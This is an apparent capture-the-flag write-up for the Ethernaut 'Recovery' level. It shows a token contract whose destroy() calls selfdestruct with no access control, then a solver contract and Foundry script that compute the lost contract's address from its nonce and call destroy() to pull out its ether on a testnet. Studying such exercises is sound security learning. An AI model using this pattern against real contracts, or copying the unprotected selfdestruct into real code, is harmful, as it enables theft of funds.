The Ethernaut CTF Solutions | 17 - Recovery
Reclaiming the Lost: Unraveling Ethereum's Deterministic Addresses
Goals
We are the good guys this time!
The Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
string public name;
mapping(address => uint) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value * 10;
}
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender] - _amount;
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
The hack
From the contract code, we can see that there is a public destroy()
function that can be used to self-destruct the contract and force send the eth to an arbitrary address. So the challenge is to find the address of the contract that was created by the Recovery
factory.
The easiest way to find it is to paste the Recovery
contract address in your favorite block explorer and check for the first (and only) contract deployed from this factory! But... that is not exactly what The Ethernaut is trying to teach us here.
So let's do that the hard way.
Contract addresses are deterministic and are calculated by the following formula: keccak256(address, nonce)
, where:
address
is the address of the contract (or the Ethereum address that created the transaction);nonce
is the number of contracts the spawning contract has created (or the transaction nonce, for regular transactions).
Based on that, how to retrieve the contract address without a block explorer?
Since Ethereum addresses are deterministic, we can manually re-calculate the lost address.
The
Recovery
contract address is0x2333215479D476895b462Ff945f3aF5bA2d0652e
(Replace with your instance address)The nonce is 1 or
0x01
(contracts are initialized with nonce 1)
We can use the following code to calculate the address:
bytes32 hash = keccak256(
abi.encodePacked(bytes1(0xd6), bytes1(0x94), recoveryAddress, bytes1(0x01))
);
address lostAddress = address(uint160(uint256(hash)));
bytes1(0xd6)
and bytes1(0x94)
are constants related to Recursive-Length Prefix (RLP) to encode arbitrarily nested arrays of binary data.
Now that we have the address, we can call the destroy()
function to recover the funds.
Solution
Here is the full code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
// Lost address: 0x9938f099Cb6d3f666C5C168830aDD46952EF421B
interface ISimpleToken {
function destroy(address to) external;
}
contract RecoveryService {
address private immutable recovery;
constructor(address _recovery) {
recovery = _recovery;
}
function recoverAddress() public view returns (address) {
bytes32 hash = keccak256(
abi.encodePacked(bytes1(0xd6), bytes1(0x94), recovery, bytes1(0x01))
);
return address(uint160(uint256(hash)));
}
function recoverFund() public {
ISimpleToken(recoverAddress()).destroy(msg.sender);
}
}
And the script to deploy our newly created RecoveryService
contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script, console2} from "forge-std/Script.sol";
import {RecoveryService} from "../src/17_Recovery.sol";
contract PoC is Script {
// Replace with your GateKeeperOne instance
address private immutable recovery =
0x2333215479D476895b462Ff945f3aF5bA2d0652e;
function run() external {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
RecoveryService recoveryService = new RecoveryService(recovery);
address lostAddress = recoveryService.recoverAddress();
console2.log(
"Lost contract's balance before: ",
address(lostAddress).balance
);
recoveryService.recoverFund();
console2.log(
"Lost contract's balance after: ",
address(lostAddress).balance
);
vm.stopBroadcast();
}
}
You can use the following command to run the forge script:
forge script script/17_Recovery.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
๐ Level completed ๐
Takeaway
- Ethereum addresses are deterministic and are calculated by
keccak256(address, nonce)
.
Reference
Ethereum quirks: https://swende.se/blog/Ethereum_quirks_and_vulns.html
You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/